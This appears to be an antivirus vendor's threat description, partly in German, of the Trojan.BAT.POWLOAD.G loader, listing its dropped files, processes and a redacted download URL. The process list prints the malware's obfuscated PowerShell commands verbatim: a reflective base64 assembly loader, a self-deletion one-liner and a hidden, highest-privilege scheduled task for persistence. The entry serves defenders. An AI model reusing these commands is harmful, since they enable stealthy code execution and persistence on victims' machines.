Trojan.BAT.POWLOAD.G

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

• {Malware File Path}\{Malware File Name}.bat.exe → deleted afterwards
• %Application Data%\startup_str_370.vbs
• %Application Data%\startup_str_370.bat
• %Application Data%\startup_str_370.bat.exe → file attribute set to hidden

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

• "{Malware File Name}.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('{Malware File Path}\{Malware File Name}.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• %System%\cmd.exe" /C ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe" & exit
• ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_370_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%Application Data%\startup_str_370.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest –Force
• "%System%\WScript.exe" "%Application Data%\startup_str_370.vbs"
• cmd /c ""%Application Data%\startup_str_370.bat" "
• "%Application Data%\startup_str_370.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('%Application Data%\startup_str_370.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3016);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• "%System%\cmd.exe" /C ATTRIB +H "%Application Data%\startup_str_370.bat.exe" & exit
• ATTRIB +H "%Application Data%\startup_str_370.bat.exe"

(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) and 10(64-bit).. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Andere Details

It connects to the following possibly malicious URL:

• http://{BLOCKED}.{BLOCKED}.{BLOCKED}.238/plugin3.dll